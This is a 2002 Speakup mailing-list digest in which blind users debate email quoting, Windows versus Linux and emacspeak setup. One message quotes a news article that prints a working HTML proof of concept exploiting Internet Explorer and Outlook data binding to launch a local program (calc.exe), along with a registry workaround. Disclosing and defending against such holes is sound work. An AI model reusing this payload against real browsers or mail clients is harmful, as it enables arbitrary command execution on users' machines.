On Mon, 20 May 2002, Kerry Hoath wrote:

> Can we please start trimming down messages to this list? there are posts
> that contain 200-300 lines of text and a
> "go read the docs" or "me too" at the top.
> Surely we don't need the message all the way back to the dawn of the thread?
> It wastes space in the archives.

Kerry,

This is, imho, but another symptom of what you have already spoken about.
I won't start a flame war here about the order of quoted and original
text, I've been there, there's no point, nobody will change my mind and I
expect the feeling's mutual for those who hold the opposing view.  All I
will say is that it seems that if the original text is at the top, there
seems to be a greater temptation to just hit send and let it go, no
editting of what's underneath, though of course this is not universal.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Gui versus cli, was interesting experiment.

[Toby Fisher]

On Mon, 20 May 2002, Octavian Rasnita wrote:

> Yes, and how I said, Windows is not better, but is absolutely necessary for
> some tasks.
> I don't think it is a great problem to write a good (or even better and
> accessible) program like Cake Walk for Linux, but this would take a lot of
> effort, people and money, and the results ... The Linux people like the

That is because the command line is proven to be faster for a large
variety of tasks, and the keyboard faster than the mouse.  Over here in
the UK, there are a growing number of typing pools where, despite the use
of MS Office etc, the mouse is banned.  A lot of my colleagues who must
use indows wish they didn't have to, or at the last that there was an
equivalent text-based interface.

Cheers.

-- 
Toby Fisher	Email: toby@g0ucu.freeserve.co.uk
Tel.: +44(0)1480 417272	Mobile: +44(0)7974 363239
ICQ: #61744808
   Please avoid sending me Word or PowerPoint attachments.
   See http://www.fsf.org/philosophy/no-word-attachments.html

Re: interesting experiment.

[Steve Holmes]

Ahh but quoting the relevant is much easier when all is quoted in
reverse order.  Now that I'm replying to your's this way, I have to
edit out the middle.  Fortuneately, emacs allows for easy editing such
as this.  Yes, I'm usually lazy and probably most often push in my
reply and then send it on its way.

I usually very much dislike having to go through the old stuff before
getting to the good/current stuff.  But then mutt came along into my
life and I can now hit the 'S' key to magically skip over the old and
get to the new; if it is interspersed withother old text, then I can
hit the 'S' key again and I skip up to the next block.  Sure makes
mail reading much faster.  Mutt is the only e-mail client where I have
found this feature.

On Tue, May 21, 2002 at 02:03:40AM +0100, Toby Fisher wrote:
>...
> 
> Kerry,
> 
> This is, imho, but another symptom of what you have already spoken about.
> I won't start a flame war here about the order of quoted and original
> text, I've been there, there's no point, nobody will change my mind and I
> expect the feeling's mutual for those who hold the opposing view.  All I
> will say is that it seems that if the original text is at the top, there
> seems to be a greater temptation to just hit send and let it go, no
> editting of what's underneath, though of course this is not universal.

Re: interesting experiment.

[Gregory Nowak]

Does the S key always work for you? I've found that it only works on a few of Toby's messages.
Greg


On Mon, May 20, 2002 at 08:11:56PM -0700, Steve Holmes wrote:
> Ahh but quoting the relevant is much easier when all is quoted in
> reverse order.  Now that I'm replying to your's this way, I have to
> edit out the middle.  Fortuneately, emacs allows for easy editing such
> as this.  Yes, I'm usually lazy and probably most often push in my
> reply and then send it on its way.
> 
> I usually very much dislike having to go through the old stuff before
> getting to the good/current stuff.  But then mutt came along into my
> life and I can now hit the 'S' key to magically skip over the old and
> get to the new; if it is interspersed withother old text, then I can
> hit the 'S' key again and I skip up to the next block.  Sure makes
> mail reading much faster.  Mutt is the only e-mail client where I have
> found this feature.
> 
> On Tue, May 21, 2002 at 02:03:40AM +0100, Toby Fisher wrote:
> >...
> > 
> > Kerry,
> > 
> > This is, imho, but another symptom of what you have already spoken about.
> > I won't start a flame war here about the order of quoted and original
> > text, I've been there, there's no point, nobody will change my mind and I
> > expect the feeling's mutual for those who hold the opposing view.  All I
> > will say is that it seems that if the original text is at the top, there
> > seems to be a greater temptation to just hit send and let it go, no
> > editting of what's underneath, though of course this is not universal.
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Steve Holmes]

Works for me probably 95% of the time.  I've run into a couple rare
ones where it gets caught on part of the quoted text that wrapped to
the next line.  Well, I ran into one tonight where it kept stopping on
a blank line and I never did find any new text.  I really wonder if
there was any reply text in that message at all.

But all and all, I've had very good luck with it.

On Mon, May 20, 2002 at 10:51:10PM -0500, Gregory Nowak wrote:
> Does the S key always work for you? I've found that it only works on a few of Toby's messages.
> Greg
> 
> 
> On Mon, May 20, 2002 at 08:11:56PM -0700, Steve Holmes wrote:
> > Ahh but quoting the relevant is much easier when all is quoted in
> > reverse order.  Now that I'm replying to your's this way, I have to
> > edit out the middle.  Fortuneately, emacs allows for easy editing such
> > as this.  Yes, I'm usually lazy and probably most often push in my
> > reply and then send it on its way.
> > 
> > I usually very much dislike having to go through the old stuff before
> > getting to the good/current stuff.  But then mutt came along into my
> > life and I can now hit the 'S' key to magically skip over the old and
> > get to the new; if it is interspersed withother old text, then I can
> > hit the 'S' key again and I skip up to the next block.  Sure makes
> > mail reading much faster.  Mutt is the only e-mail client where I have
> > found this feature.
> > 
> > On Tue, May 21, 2002 at 02:03:40AM +0100, Toby Fisher wrote:
> > >...
> > > 
> > > Kerry,
> > > 
> > > This is, imho, but another symptom of what you have already spoken about.
> > > I won't start a flame war here about the order of quoted and original
> > > text, I've been there, there's no point, nobody will change my mind and I
> > > expect the feeling's mutual for those who hold the opposing view.  All I
> > > will say is that it seems that if the original text is at the top, there
> > > seems to be a greater temptation to just hit send and let it go, no
> > > editting of what's underneath, though of course this is not universal.
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: Why Windows?

[Octavian Rasnita]

Should I trust Microsoft?
If you say, ...
Teddy,
orasnita@home.ro

----- Original Message ----- 
From: "David Poehlman" <poehlman1@comcast.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 1:51 PM
Subject: Re: Why Windows?


and they are correct.  they examine the pc and display only.

----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 9:42 PM
Subject: Re: Why Windows?


Agree. And if you go to Windows update page, they show you what sound
card,
motherboard, video card you have but they say that they don't take
private
information from your computer.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 8:40 PM
Subject: Re: Why Windows?


On Sun, 19 May 2002, Alex Snow wrote:

> I think winblows is spyware itself!

Indeed.

If you sign up for Passport you agree to let M$ track your
spending habits.

If you sign up for M$ Reader, you agree to let them know what
books you read.

Heck, they're probably going to know more about you than your
mother does.



_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup



_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: Why Windows?

[Octavian Rasnita]

Hi,

Here is a message I've received. I've tried it, and it works.
I can't find the HTML file I've created, but you can  try that provided
link.
I don't know if it was solved until now.

A security hole has been discovered which affects all versions of IE since
version 4 plus OE and Outlook even if Active Scripting and ActiveX are
disabled in the browser settings.  MS has no patch yet, but this page here
http://www.theregus.com/content/4/24206.html
has more details.
The site is experiencing heavy traffic so here are the details:

<snip>
IE, Outlook run malicious commands without scripting
By Thomas C Greene in Washington
Posted: 03/04/2002 at 08:46 EST
An attacker can run arbitrary commands on Windows machines with a simple
bit of HTML, an Israeli security researcher has demonstrated. The exploit
will work with IE, Outlook and OutlooK Express even if active scripting and
ActiveX are disabled in the browser security settings.

The problem here is data binding, an old 'feature' going back to IE4 in
which a data source object (DSO) is bound to HTML.

Using an XML data source, the researchers operating a Web site called
GreyMagic Software came up with a simple example in which a few lines will
cause Windows to launch the calculator application thus:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/windows/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>

You can copy and paste this into a text editor, where "windows" is your
Windows directory, and name it whatever.htm. Then open the file with your
browser and watch the calculator launch.

MS has yet to patch the hole, but we've verified that a workaround proposed
by Axel Pettinger and Garland Hopkins works on the above example, though
that's no guarantee that it will work on every exploit of this sort.

Using regedit.exe find the following key:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\0]
and change the value of "1004" (DWORD) from "0" to "3".

Don't forget to back up your registry before making changes, even innocuous
ones like this.

You can then re-boot and open the example file with your browser again to
verify that it fails to launch the calculator. However, the workaround will
often cause IE to launch a security warning dialog box which has to be
cleared before you can continue surfing. It tells you that your security
settings are interfering with your rich Internet experience, and you can't
tick a box ordering it to stop warning you of what you already know.

Personally I believe MS does this to discourage high security settings in
IE which interfere with the rich eXPeriences advertisers have in store for
you on the Web, and which MS seems inexplicably eager to vouchsafe. You
don't get sick of the slightly scaled-down functionality; you get sick of
the endless warnings and eventually capitulate and restore your settings to
Redmond-approved, and Direct Marketing Association-approved, levels.

But we digress.

Obviously, there's a slew of malicious activities which can be attempted
with this exploit, and a slew of people busily working on them. Thus it
might be prudent to apply the workaround until Redmond issues a patch -- if
you can stand to be harangued about your security settings at every turn,
that is. ®
Teddy,
orasnita@home.ro

----- Original Message -----
From: "David Poehlman" <poehlman1@comcast.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 1:50 PM
Subject: Re: Why Windows?


I do not understand this message.  how can ie open notepad unless you
ask for the source and then it is designed to do that.
----- Original Message -----
From: "Octavian Rasnita" <orasnita@home.ro>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 10:32 PM
Subject: Re: Why Windows?


Yes you're right.
I have an HTML page and if you open it from a web site in Internet
explorer,
it opens you the Notepad.
Internet Explorer, is not very secure, of course.

But I think there are problems with Unix also.
Go to www.astalavista.com and you will find some tutorials about how to
crack Unix, etc.
I don't know if they work because I haven't tried it, but ...

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Rich Caloggero" <rjc@MIT.EDU>
To: <speakup@braille.uwo.ca>
Sent: Sunday, May 19, 2002 11:05 AM
Subject: Why Windows?


OK, I think windows exists for sighted people. I think that blind people
need to use windows if they are doing sys-admin or other tasks which
require
them to interact with windows, or dare I say, help a sighted person use
their friendly little crash-prone boxes! <smile> I often think that the
reason windows is so unstable is to keep us sys-admins employed!
Hehehehehahahahe!

Actually, I heard an interesting windblows tidbit the other day. In
windows
3.1, there was a concept called Object Linking and Embeding (OLE). It
allows
one to put, say, a sound file within a spreadsheet, and embed all that
within something else. In fact, this is what XML does for you, but those
were the days long before XML. Anyhow, they were also the days before
the
internet became widely popular. The problem was that OLE was not at all
secure. When the internet became more widely used, and malware began to
spread, people realized that this stuff was very insecure. So Microsoft
began building layer on top of layer to try and address these issues. By
the
time the security problems were becomign more widely exployted,
Microsoft
had traveled too far down the OLE path, and could not give it up. I
forget
what all the crap on top of OLE was called, but the dot net stuff is
merely
another layer on top of the broken OLE, so Microsoft security issues
will
forever be rearing their ugly heads, and Microslop will have to patch
every
single one of them!! Hahahahehehehehehaha!

                    Rich

----- Original Message -----
From: "Deedra Waters" <curi0315@tampabay.rr.com>
To: <speakup@braille.uwo.ca>
Sent: 19 May, 2002 1:24 AM
Subject: Re: interesting experiment.


I think honestly that if beginners have an easy start it may help some
in
the long run. I honestly think that there are some people who want to
learn but are having a hard time in which case, helping them can be
useful.

I'm bad at sitting and reading manpage after manpage trying to find
things, and I was even worse at the beginning. I had a great deal of
help
in the beginning, and there was a lot I  didn't understand.

I'm not really sure where I'm going with this accept to say that there
are
people who have a real hard time by just reading, and helping them, or
trying to walk them threw some things  doesn't always mean that they
need
to be spoonfead


On Sun, 19 May 2002, Toby Fisher wrote:

> On Sun, 19 May 2002, Octavian Rasnita wrote:
>
> > Hi, thank you.
> > No, I don't like Windows. I don't use to play games because I don't
have
the
> > time.
>
> Oh now you don't know what you're missing, I can recommend GMA Games
for
> one, for a bit of light relief.
>
> <snip>
>
> > But I also don't like to see a lot of people from this list, nor
> from any
> > list, thinking that Linux is better than Windows.
>
> Actually, if you look carefully at most of what you view to be
> anti-Windows comments, they are, in the main, aimed at the company
that
> spawned it.
>
> > Windows is better than Linux for multimedia development but
Macintosh is
> > even better than Windows  for this thing.
> >
> > Some Unix graphic stations are better probably than Macintosh for
their
> > purpose.
>
> Yes, but until very recently Macintosh had a problem with expensive
> hardware, for example, on some power macs there was only 1 make of
modem
> you could use because of the connection it required; guess what,
they're
> not made any more so my friend is going to have to buy a new computer,
> this is, imho, a potential problem which can arise when hardware and
> software are made by the same company, as used to happen back in the
big
> mainframe days.
>
> <snip>
>
> > I like the Linux users to be a kind of helpful community, because
> they are
> > not very many, especially blind, but all the experimented people in
linux
> > give the beginners criptical commands without explaining too much,
RTFM,
> > etc.
>
> I believe that there are reasons for this.
>
> First, what that person may want is a means to get up and running as
> hasle-free as possible.  Second, explanation of the command may, and
note
> I use the word may, cause confusion, until the person has read some
docs,
> which they may be unable to do due to whatever problem it is that has
> caused them to write to the list.
>
> Third, it does not help anyone, least of all the beginner, if they are
> spoon-fed, as they may then be unable to help themselves if they are
ever
> stuck without an internet connection, or otherwise unable to call on
> required assistance.
>
> Cheers.
>
> --
> Toby Fisher Email: toby@g0ucu.freeserve.co.uk
> Tel.: +44(0)1480 417272 Mobile: +44(0)7974 363239
> ICQ: #61744808
>    Please avoid sending me Word or PowerPoint attachments.
>    See http://www.fsf.org/philosophy/no-word-attachments.html
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>







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Re: interesting experiment.

[Octavian Rasnita]

Yes, money is an issue in Romania where the average  salary is under 100
dollars monthly, and where there are towns where the unemployment rate is
over 40 percent.
I think you can imagine the unemployment rate for the disabled.

Regards.

Teddy,
orasnita@home.ro

----- Original Message -----
From: "Deedra Waters" <curi0315@tampabay.rr.com>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 7:48 AM
Subject: Re: interesting experiment.


>From some of the comments he's made both  on and off list I get the
impression that money is a major issue. meaning that he 1 can't afford to
get a new synth to fully use speakup and 2 he can't afford to pay for
software either.



On Mon, 20 May 2002, Janina Sajka wrote:

> Greg:
>
> I'm pretty sure he isn't using Speakup. He doesn't have a
> supported synth. He telnets from his Windows machine, as I
> recall, and he's tried using ViaVoice directly with emacspeak. Of
> course, the latter is a very steep learning curve.
>
> Still, he's got the DEC Talk internal, and emacs with or without
> emacspeak is worth learning. Without emacspeak, he can run it
> over telnet--but I doubt JFW is all that great as a telnet
> client's screen review program. Also, the default Microsoft
> telnet is pretty lame. I would think this setup is fraught with
> frustration.
>
> So, emacspeak with that DEC Talk is probably his smartest option
> right now, with the telnet as a back up to avoid rebooting.
>
> I have also suggest yasr and eflite, but he's insisting on
> nothing less than Eloquence for free, so the DEC Talk is probably
> the best compromise.
>
> Another option would be a better screen reader for telnet and a
> better telnet client. That would mean a good DOS screen reader
> like asap or Vocal-Eyes, assuming he can actually run DOS on that
> Windows machine. Neither of those is very cheap, though, and
> spending that much money would be dumb, because he could get a
> good Doubletalk for less than the cost of that software.
>
> On Sun, 19 May 2002, Gregory Nowak wrote:
>
> > We're all assuming he's using speakup since he's here. But from all of
Tedy's comments in other posts, I am beginning to get the impression that
he's not, since he seems to be asking for screen readers which support
software tts.
> > Greg
> >
> >
> > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > Try man < emacs|less then use the speakup keys to read line by line,
or
> > > word by word if you wish. you can bring up the next page by hitting
the
> > > space bar.
> > >
> > >
> > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > >
> > > > Please enlighten me.
> > > > I never used the Jaws cursor in the new HTML help  format under
Windows.
> > > > Select an item in the tree view, press enter, then press F6 and it
will
> > > > automaticly start reading that help item. It is a simple HTML file
there,
> > > > and it works exactly as simple as Internet Explorer.
> > > > You don't need the Jaws cursor at all.
> > > >
> > > > You needed the Jaws cursor only for some bad designed help files in
the old
> > > > .hlp format.
> > > > Now in the new .chm format, you don't have any problems.
> > > >
> > > > But this doesn't matter too much. Please tell me how to navigate the
man
> > > > pages.
> > > > I type man mv, for example.
> > > > It starts to print all the help file, but maybe I want to move with
a page
> > > > up then down, etc.
> > > >
> > > > I know this is possible. Thanks.
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Shaun Oliver" <shaun_oliver@optusnet.com.au>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Sunday, May 19, 2002 8:05 AM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > SNIP
> > > > > > You open a window, and it explains you what you should do there.
> > > > > > You have to press the space bar to check some checkboxes, to
press some
> > > > > > buttons, etc, and if you don't know something, press shift+f10
(or the
> > > > right
> > > > > > mouse button and choose "what's this?" or press F1 to view the
help file
> > > > > > wich is much much more easier to navigate than the man pages
under
> > > > Linux.
> > > > SNIP
> > > >
> > > > A fake.
> > > > man pages under GNU/Linux are a lot easier to navigate than windows
help
> > > > pages.
> > > > you need to route the jaws cursor to the pc and then fart around
trying to
> > > > find what you were looking for.
> > > > even with the new features in jfw I seriously doubt you could
navigate a
> > > > help file easier than a man page..
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>


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Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

Ok, thanks, I just found out that this is the only solution.
Yes, it seems that I should learn emacspeak, but we were  comparing Linux
with Windows.
Linux may be great, but if I will compare using emacspeak with using
Windows, ...
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Ann Parsons" <akp@eznet.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 5:06 PM
Subject: Re: interesting experiment.


Hi all,

No, you are not asking too much, but it isn't possible now.  Use
Emacspeak till you can get something better.

Ann P.

--
Ann K. Parsons
email:  akp@eznet.net ICQ Number:  33006854
WEB SITE:  http://home.eznet.net/~akp
"All that is gold does not glitter.  Not all those who wander are lost."
JRRT


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Re: interesting experiment.

[Octavian Rasnita]

Unfortunately, I found that emacspeak is  the only solution for the moment.
I hope that Linux will follow the Windows way, and there will be a better
support for software sinthesizers than for hardware ones, and that it will
appear a graphical interface accessible for the blind.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Gregory Nowak" <greg@romualt.dhs.org>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 7:59 PM
Subject: Re: interesting experiment.


This isn't possible, and I don't think your asking for too much at all. If
there were only more programmers to work on modulerizing speakup and working
on tuxtalk ... sigh.
Greg


On Mon, May 20, 2002 at 07:41:02AM +0300, Octavian Rasnita wrote:
> Ok, I don't want to learn Emacspeak at all.
> I would like to be able to use a real screen reader but unfortunately it
is
> not possible without a hardware sinthesizer which is expensive.
> I have one, but it is not supported by a real screen reader.
>
> I would like to have a screen reader that starts at startup, which can be
> used to read the screen in pine, pico, lynx, and the command line.
> Is this possible without a hardware sinthesizer?
> Am I asking too much from the best OS?
>
> Teddy,
> orasnita@home.ro
>
> ----- Original Message -----
> From: "Janina Sajka" <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 20, 2002 6:46 AM
> Subject: Re: interesting experiment.
>
>
> This is not an important problem. You have more important things
> to worry about than this.
>
> Also, using emacs' terminal mode is probably not the smartest way
> to learn about emacs.
>
> If you're trying to learn emacs, you shouldn't start with that.
> You're trying to run, and you haven't even learned how to crawl
> yet.
>
> On Mon, 20 May 2002, Octavian Rasnita wrote:
>
> > Of course, because that problem happend me for more times.
> >
> > I think I found a little problem but I am not sure.
> >
> > When it starts, emacspeak  tell me that message that it is functioning
> > normally (BTW. How can I change that message?)  and I don't care about
> that
> > message and I start pressing the normal shortcuts for launching the
> terminal
> > mode before it finishes the message. When I do that, the terminal
doesn't
> > start.
> > If I let emacspeak to finish its message, I can start it.
> >
> > How can I stop the voice? What key should I press if I want to stop the
> > message?
> > I searched in the help file but I couldn't find it.
> > Teddy,
> > orasnita@home.ro
> >
> > ----- Original Message -----
> > From: "Janina Sajka" <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 20, 2002 3:42 AM
> > Subject: Re: interesting experiment.
> >
> >
> > Octavian: You need to explain yourself.
> >
> > What is the meaning of "of course" in your message?
> >
> > What's that about?
> >
> > Also, why are you rebooting? That's your hangover from Windows.
> >
> > Get a clue. That's not the way to get out of trouble.
> >
> > Your emacs is probably working just fine, and you can probably
> > get back to your buffer list with c-x c-b
> >
> > Now, instead of whining at the first sign of trouble, why not
> > study how to use the program a bit? Have you read the tutorials?
> > What can you succeed with? Or, did you just come here to say:
> >
> > "of course"
> >
> > to us.
> >
> > I won't accept that. Not from you, not from anyone.
> >
> > On Sun, 19 May 2002, Octavian Rasnita wrote:
> >
> > > I press the keys for  launching the terminal mode under Emacspeak, I
> type
> > a
> > > simple ls command to test it, I won't hear anything of course, then
the
> > > computer stopped speaking, and I need to reboot it.
> > > IS Emacspeak the problem? Is IBM Via Voice stopping?
> > > I don't know.
> > > Thank you for putting me to learn. <gee>
> > > Do you have a link to a text file with all the command lines used by
> > > emacspeak?
> > > I've tried that help, but I couldn't find how to set the speed of
voice
> > > sinthesizer faster, nor how to read a text at once, not line by line.
> > > I also would like to know how can I skip the text when I read this
way.
> > >
> > > In Windows, I can put the screen reader to read in "say all" mode and
if
> I
> > > press the right shift, it skips a line and continue reading without
> > > stopping.
> > > If I press the left shift, it goes back with a line and continue
reading
> > > without stopping.
> > >
> > > This is a good feature and I am sure it should be in Emacspeak also.
> > > However, I couldn't find it.
> > >
> > > I would also like to know if there is a kind of control panel for
> > emacspeak,
> > > where I can set all the variables, a configuration file, etc.
> > > Emacspeak starts with a text file which is not too big and I should
read
> a
> > > lot of things before finding how to set the sinthesizer faster.
> > > And I don't  have the patience to listen how slowly it speaks.
> > >
> > > Teddy,
> > > orasnita@home.ro
> > >
> > > ----- Original Message -----
> > > From: "Janina Sajka" <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Sunday, May 19, 2002 6:17 AM
> > > Subject: Re: interesting experiment.
> > >
> > >
> > > No joke. Emacs is easier than Windows.
> > >
> > > Now, Octavian, stop belly aching and go learn how to do
> > > something.
> > >
> > > On Sun, 19 May 2002, Octavian Rasnita wrote:
> > >
> > > > Do you mean that using Emacspeak is easier than using Windows?
> > > > Nice joke. Really.
> > > > And ... without a hardware sinthesizer, with that IBM Via Voice that
> > likes
> > > > to crash so often, or other software sinthesizers hard to
understand,
> > ...
> > > > Teddy,
> > > > orasnita@home.ro
> > > >
> > > > ----- Original Message -----
> > > > From: "Ann Parsons" <akp@eznet.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Saturday, May 18, 2002 11:53 PM
> > > > Subject: Re: interesting experiment.
> > > >
> > > >
> > > > Hi all,
> > > >
> > > > Why don't you try Emacspeak and quit yawping!  There *is* a speech
> > > > output system that uses software speech.
> > > >
> > > > Ann P.
> > > >
> > > > --
> > > > Ann K. Parsons
> > > > email:  akp@eznet.net ICQ Number:  33006854
> > > > WEB SITE:  http://home.eznet.net/~akp
> > > > "All that is gold does not glitter.  Not all those who wander are
> lost."
> > > > JRRT
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> > --
> >
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> >
> > Email: janina@afb.net Phone: (202) 408-8175
> >
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: interesting experiment.

[Octavian Rasnita]

This is a real encouragement. Thank you.
What I am not sure yet, is if I will be able to do  with Emacspeak, all what
you can do with speakup.

Thanks.
Teddy,
orasnita@home.ro

----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 20, 2002 8:01 AM
Subject: Re: interesting experiment.


Yes, I have the same impression.

Unfortunately, that puts him in a bit of a bind, but only until
he gets over his beginner's hump with emacspeak and his internal
DEC Talk. He should be OK after that.

On Mon, 20 May 2002, Deedra Waters wrote:

> >From some of the comments he's made both  on and off list I get the
> impression that money is a major issue. meaning that he 1 can't afford to
> get a new synth to fully use speakup and 2 he can't afford to pay for
> software either.
>
>
>
> On Mon, 20 May 2002, Janina Sajka wrote:
>
> > Greg:
> >
> > I'm pretty sure he isn't using Speakup. He doesn't have a
> > supported synth. He telnets from his Windows machine, as I
> > recall, and he's tried using ViaVoice directly with emacspeak. Of
> > course, the latter is a very steep learning curve.
> >
> > Still, he's got the DEC Talk internal, and emacs with or without
> > emacspeak is worth learning. Without emacspeak, he can run it
> > over telnet--but I doubt JFW is all that great as a telnet
> > client's screen review program. Also, the default Microsoft
> > telnet is pretty lame. I would think this setup is fraught with
> > frustration.
> >
> > So, emacspeak with that DEC Talk is probably his smartest option
> > right now, with the telnet as a back up to avoid rebooting.
> >
> > I have also suggest yasr and eflite, but he's insisting on
> > nothing less than Eloquence for free, so the DEC Talk is probably
> > the best compromise.
> >
> > Another option would be a better screen reader for telnet and a
> > better telnet client. That would mean a good DOS screen reader
> > like asap or Vocal-Eyes, assuming he can actually run DOS on that
> > Windows machine. Neither of those is very cheap, though, and
> > spending that much money would be dumb, because he could get a
> > good Doubletalk for less than the cost of that software.
> >
> > On Sun, 19 May 2002, Gregory Nowak wrote:
> >
> > > We're all assuming he's using speakup since he's here. But from all of
Tedy's comments in other posts, I am beginning to get the impression that
he's not, since he seems to be asking for screen readers which support
software tts.
> > > Greg
> > >
> > >
> > > On Sun, May 19, 2002 at 10:58:09PM -0400, Deedra Waters wrote:
> > > > Try man < emacs|less then use the speakup keys to read line by line,
or
> > > > word by word if you wish. you can bring up the next page by hitting
the
> > > > space bar.
> > > >
> > > >
> > > > On Mon, 20 May 2002, Octavian Rasnita wrote:
> > > >
> > > > > Please enlighten me.
> > > > > I never used the Jaws cursor in the new HTML help  format under
Windows.
> > > > > Select an item in the tree view, press enter, then press F6 and it
will
> > > > > automaticly start reading that help item. It is a simple HTML file
there,
> > > > > and it works exactly as simple as Internet Explorer.
> > > > > You don't need the Jaws cursor at all.
> > > > >
> > > > > You needed the Jaws cursor only for some bad designed help files
in the old
> > > > > .hlp format.
> > > > > Now in the new .chm format, you don't have any problems.
> > > > >
> > > > > But this doesn't matter too much. Please tell me how to navigate
the man
> > > > > pages.
> > > > > I type man mv, for example.
